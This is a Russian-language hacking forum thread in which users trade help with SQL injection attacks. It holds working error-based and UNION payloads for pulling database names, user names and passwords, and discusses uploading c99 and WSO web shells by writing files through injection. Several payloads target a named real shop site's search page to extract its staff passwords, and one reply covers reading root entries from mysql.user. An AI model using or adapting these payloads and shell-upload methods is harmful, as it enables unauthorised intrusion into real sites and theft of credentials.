Cтолкнулся с проблемой. Залил минишелл через скулю с file_priv пытаюсь залиться нормально. Include - неработает copy - неработает file_put_contents - не работает wget и curl тодже не работают wget создает пустые файлы curl вообще ничего не создает. Возможно едо в кривости рук. Но поскажите ещё функции чтоли через которые можно скопировать код шелла с другого сервера в файл.
php 4 ветки phpinfo с xss смог заинклудить c99 а wso никак не хочет выскаквает ошибка синтаксиса какаято.
From a “-- ” sequence to the end of the line. In MySQL, the “-- ” (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on). ХАМЕНА, Вы пишете бред: white + space это так же " "
Что за такой тупой ответ, незачот( Просто же можно написать, что ошибка синтаксиса через то, что таблица скорее в другой БД.
blink error based inj, таблицы и колонки достаются нормально, но при попытке достать даные, говорит что некоторые поля несуществуют "Unknown column 'users.user_name' in 'field list'" запрос выда Code: ' or 1+1=0 and (select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(users.user_name as char),0x27,0x7e) FROM `mydb`.users LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 -- users id user_name password role userID email passwd loginEnabled screenName firstName Из всех полей выводит только пассворд. Когда пробую вывести что-то другое Unknown column '' in 'field list' ... Помогите, пожалуйста.
куда лучше записывать значения конфигураций php скрипта, в базу из файлов или в mysql ? объём маленький например с точки зрения безопасности, бывают sql инъекции, а к файловой базе тоже могут применяться ?
В файл (не в структуру из 20-50 файлов). Это и практичнее (система с файлом работает быстрее и данные редко изменяются), и удобнее (данные для подключения к базе все равно придется где-то хранить). Многое зависит от того, какие именно данные вы собираетесь хранить, и как с ними работать. wkar, Может быть вы, как и billybonse взяли имя БД из database(), а не из TABLE_SCHEMA? См. ответ ниже.
wkar. Путем мыслительных процессов в хайвмайнде было решено, что база mydb в четвертом подзапросе "SELECT concat(0x7e,0x27,cast(users.user_name as char),0x27,0x7e) FROM `mydb`.users LIMIT 0,1" таки имеет таблицу users, которая из указанных имеет только поле password, а приведенный список колонок содержится в таблице users другой базы. Совместная идея с XAMEHA.
Спасибо большое за помощь, будет возможность проверить - обязательно отпишу. 2XAMEHA, скорей всего да, спасибо за подсказку.
Столкнулся с проблемой HTML: ...id=-371+Union(Select+1,user(),3,table_name,5,6,7,8,9,10+from+%60information_schema%60.tables)+--+ поля для вывода присутствуют, данные о таблицах и колонках выводятся. Но при попытке вывести данные с любых других таблиц (основной базы) эти поля остаются пустыми. При неверном построении запроса, вылазиет sql ошибка, так что запросы составляю верно. Какие есть пути вытягивания данных, кроме посимвольного перебора?
Error-based вектор, разумеется. Приведите, пожалуйста, запрос, выдающий пустой ответ. Также, в ряде случаев бывает, что классический вывод на страницу раскукоживает верстку и данные не отображаются некоторыми браузерами. Проверьте на всякий случай исходник страницы.
Что значит пустыми? Такого просто не бывает, причина в чем то другом, возможно в последующий обработке этих данных. Посмотрите типы полей (COLUMN_TYPE), попробуйте count(*), length(name), hex(name) и т.п. конструкции.
Пустой ответ, например HTML: id=-371+Union(Select+1,staff_id,3,password,5,6,7,8,9,10+from+staff)+--+ в исходном коде обнаружил, что отображается полный запрос скрипта HTML: <!-- Select p.item_id as product_id,i.name, p.item_number,p.description,p.special,p.price,i.intro_text,i.item_id,c.category_id,Count(*) as rowcount from item i inner join product p on i.item_id = p.item_id inner join item_category ic on i.item_id = ic.item_id inner join category c on c.category_id = ic.category_id inner join (Select * from category where parent = 0) cp on cp.category_id = c.parent Where (1 = 1) and (p.form_description like '%%' or i.name like '%%') and c.category_id = -371 Union(Select 1,user(),3,password,5,6,7,8,9,10 from staff) -- group by item_id-->
Проблема либо в кодировке, либо в типах данных. PHP: aes_decrypt(aes_encrypt(column_name,1),1) unhex(hex(column_name))
Ничего не помогает( Вот примеры обоих запросов, уже самомоу интересно что там) глянете мб HTML: http://bplampsupply.com/search.php?category_id=-371+Union(Select+1,user(),3,column_name,5,6,7,8,9,10+from+%60information_schema%60.columns+where+TABLE_NAME='staff')+--+ http://www.bplampsupply.com/search.php?category_id=-371+Union(Select+1,staff_id,3,password,5,6,7,8,9,10+from+staff)+--+
У Вас таблица пустая. PHP: 371+Union(Select+1,user(),3,table_rows,5,6,7,8,9, 10+from+information_schema.tables+where+TABLE_NAME=0x7374616666)+--+
Добрый день! Помогите с построением запроса выводится нормально N у пользователя tt Когда хочу вывести пользователя root выводится ошибка Обнаружены слудующие ошибки: Subquery returns more than 1 row Подскажите как правильно составить запрос для вывода нужной инфы. ------------ Так же пробовал сделать заливку файла через скуль - опять такие не нравится(( Выводится ошибка: Обнаружены слудующие ошибки: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `' at line 1 так выводится Обнаружены слудующие ошибки: Subquery returns more than 1 row
Заливка выполняется без подзапросов. См. статьи по SQL-инъекциям. Живой пример: https://forum.antichat.net/showthread.php?p=3741323#post3741323 PHP: WHERE user='root' LIMIT 1 В таблице mysql.user несколько записей, где user='root'. Обычно у них разные хосты (localhost, 127.0.0.1, ::1, site.com, ...).